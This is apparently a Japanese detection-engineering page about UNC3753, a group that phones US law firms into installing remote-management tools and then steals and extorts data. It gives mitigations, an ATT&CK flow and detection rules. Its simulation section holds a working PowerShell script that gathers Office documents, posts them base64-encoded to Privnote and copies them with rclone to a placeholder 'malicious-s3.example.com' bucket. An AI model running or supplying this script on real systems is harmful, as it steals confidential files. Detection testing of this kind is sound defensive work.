相談を求めて:米国の法律事務所に対する継続的な標的攻撃
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
UNC3753という金銭を目的とした脅威クラスターが、被害者をリモート監視および管理ソフトウェアのインストールへ誘導するビシングキャンペーンを実施しています。アクセスが確立されると、攻撃者は機密の法的および財務情報を盗み、公開の脅威をもって被害者組織をゆすります。このキャンペーンは、特に法律事務所など、米国のプロフェッショナルサービス企業を対象としており、サイバーを利用した手法と物理的なデータ窃盗の両方が含まれる可能性があります。
調査
Mandiantは、初期の音声フィッシングコールからデータ窃盗と恐喝に至るまで、完全な侵入サイクルを観察しました。被害者は、AnyDesk、Bomgar、またはカスタムSuperOpsインストーラーを使用した、 curl コマンドによる画面共有ツールやRMMソフトウェアの利用を説得されました。データの流出は、WinSCP、Rclone、または消費者向けクラウドストレージアカウントへの直接アップロードなどのツールを使用して行われました。
緩和策
組織は、スタッフにビシング試みを認識させる訓練を行い、リモートサポートリクエストに対する厳格な検証手順を施行し、RMMおよびスクリーン共有ツールの無許可の使用を禁止すべきです。さらに、移動可能メディアの無効化、クラウドストレージやFTP宛先への通常ではないアウトバウンド転送の監視、VDIへの条件付きアクセスコントロールの適用、重要な文書リポジトリへのMFAの導入もリスクを軽減します。
対応
この活動が検出された場合、直ちに影響を受けたエンドポイントを隔離し、無許可のリモートセッションを終了し、インストールされたRMMバイナリを削除します。調査者は、コマンドライン履歴、レジストリの変更、スケジュールドタスクのアーティファクトを収集して法医学的なレビューを行うべきです。侵害された資格情報はリセットし、データ流出を評価し、恐喝が開始された場合は法執行機関への対応を考慮すべきです。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef technique fill:#ccccff classDef operator fill:#ff9900 %% ノード定義 initial_access["<b>行動</b> – <b>T1566.004 フィッシング:音声スピアフィッシング</b><br/><b>説明</b>: 攻撃者が説得力のある音声通話を使用してターゲットを欺き、資格情報を提供させたり悪意のあるコマンドを実行させたりします。"] class initial_access action user_execution["<b>行動</b> – <b>T1204.002 悪意のあるファイル</b><br/><b>ツール</b>: cURL + MSIインストーラー<br/><b>説明</b>: 被害者がcURLを介してダウンロードされた悪意のあるMSIファイルを実行し、システムでのコード実行が行われます。"] class user_execution action remote_desktop["<b>行動</b> – <b>T1219.002 リモートデスクトップソフトウェア</b><br/><b>ツール</b>: Zoom, Microsoft Teams, AnyDesk<br/><b>説明</b>: 正規のリモートデスクトップまたはミーティングアプリケーションが悪用され、持続的なリモートアクセスが維持されます。"] class remote_desktop action discovery["<b>行動</b> – <b>T1083 ファイルとディレクトリの探索</b> & <b>T1680 ローカルストレージの探索</b><br/><b>説明</b>: 敵対者がファイル、ディレクトリ、およびローカルストレージの位置を列挙し、流出対象となる貴重なデータを見つけます。"] class discovery action data_staging["<b>行動</b> – <b>T1074 データの準備</b> & <b>T1560 収集データのアーカイブ</b><br/><b>説明</b>: 収集されたファイルがローカルに準備されてアーカイブとして圧縮され、流出の準備が整えられます。"] class data_staging action exfiltration["<b>行動</b> – <b>T1567.002 クラウドストレージへの流出</b> & <b>T1020 自動流出</b><br/><b>対象</b>: Google Drive<br/><b>説明</b>: リモート抽出のためにクラウドストレージサービスに準備済みのアーカイブを自動的にアップロードします。"] class exfiltration action physical_media["<b>行動</b> – <b>T1052 物理メディアによる流出</b><br/><b>説明</b>: ネットワークチャネルが制限されている場合にオフラインでの流出のためにデータをリムーバブルメディアに転送します。"] class physical_media action cleanup["<b>行動</b> – <b>T1070.001 Windowsイベントログをクリア</b><br/><b>説明</b>: 侵入の証拠を消すためにWindowsイベントログを削除します。"] class cleanup action %% エッジ接続 initial_access –>|基づく| user_execution user_execution –>|可能にする| remote_desktop remote_desktop –>|可能にする| discovery discovery –>|基づく| data_staging data_staging –>|可能にする| exfiltration exfiltration –>|基づく| physical_media physical_media –>|連続する| cleanup "
攻撃フロー
ディテクション
代替リモートアクセス/管理ソフトウェア(process_creation経由)
表示
疑わしいCURL使用(cmdline経由)
表示
SuperOps RMMソフトウェアのインストール試行の可能性(file_event経由)
表示
代替リモートアクセス/管理ソフトウェア(system経由)
表示
代替リモートアクセス/管理ソフトウェア(audit経由)
表示
MsiInstallerを使用したRMMソフトウェアのインストール試行の可能性(application logs経由)
表示
IOC(SourceIP)を検出: コンサルテーション要求: 米国法律事務所に対する継続的な標的型キャンペーン
表示
IOC(DestinationIP)を検出: コンサルテーション要求: 米国法律事務所に対する継続的な標的型キャンペーン
表示
許可されていないファイル共有と高ボリュームSSHトラフィックの検出 [ファイアウォール]
表示
UNC3753データ流出:Privnoteとファイル転送ツールを使用 [Windowsネットワーク接続]
表示
UNC3753リモートアクセスと悪意のあるMSIインストール [Windowsプロセス作成]
表示
シミュレーション実行
事前条件: テレメトリーとベースラインのプリ・フライトチェックが合格している必要があります。
理由: このセクションは、検出ルールを引き起こすために設計された敵の手法(TTP)の正確な実行詳細を説明します。コマンドと説明は、識別されたTTPに直接反映され、検出ロジックによる正確なテレメトリー生成を目指する必要があります。抽象的または無関係な例は誤診に繋がります。
-
攻撃の概要とコマンド:
-
リコンとデータステージング (T1005, T1083):
敵はユーザーディレクトリを列挙し、すべての*.docxand*.xlsxファイルをステージングフォルダにコピーしますC:TempStagedData. -
Privnote経由のアップロード (T1567.002):
PowerShellを使用して攻撃者は各ファイルを読み取り、内容をベース64でエンコードし、https://privnote.com/api/noteに投稿します。コマンドラインにはURLが含まれており、selection_privnote条件を満たします。 -
Rcloneによる転送 (T1020):
攻撃者は実行し、準備されたファイルを悪意のあるS3バケットにプッシュします。rclone.exe(オンザフライでダウンロード) プロセス名“rclone.exe”がselection_tool. -
クリーンアップ: ステージングフォルダと残留バイナリを削除します。
-
-
回帰テストスクリプト: (PowerShell – 自己完結型、
Invoke-WebRequest.)以外の外部依存なし) # ------------------------------------------------- # UNC3753流出シミュレーション - PowerShell # ------------------------------------------------- # 1. ステージングディレクトリの準備 $staging = "$env:USERPROFILETempStagedData" New-Item -ItemType Directory -Force -Path $staging | Out-Null # 2. サンプルデータのコピー (データ収集をシミュレート) Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force } # 3. 各ファイルをPrivnoteにアップロード (ウェブサービス流出) $privnoteUrl = "https://privnote.com/api/note" Get-ChildItem -Path $staging -File | ForEach-Object { $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName)) $body = @{ text = $content } # コマンドラインにURLが表示され -> selection_privnoteを引き起こす Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null } # 4. Rcloneをダウンロード (存在しない場合) し、S3経由で流出 $rcloneExe = "$env:TEMPrclone.exe" if (-not (Test-Path $rcloneExe)) { Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip" Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force } # リモート(悪意のある)S3バケットを構成 - 一時ファイルに構成が書き込まれる $rcloneConfig = @" [malicious type = s3 provider = AWS access_key_id = AKIAFAKEKEY secret_access_key = fakeSecretKey123 region = us-east-1 endpoint = https://malicious-s3.example.com "@ $configPath = "$env:TEMPrclone.conf" $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII # rclone copyの実行 - プロセス名 "rclone.exe" が selection_toolを引き起こす & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO # 5. クリーンアップ Remove-Item -Recurse -Force $staging Remove-Item -Force $rcloneExe, $configPath -
クリーンアップコマンド:
# 残っているWinSCPまたはRcloneプロセスを終了 Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force # 残された可能性のある一時ファイルを削除 Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue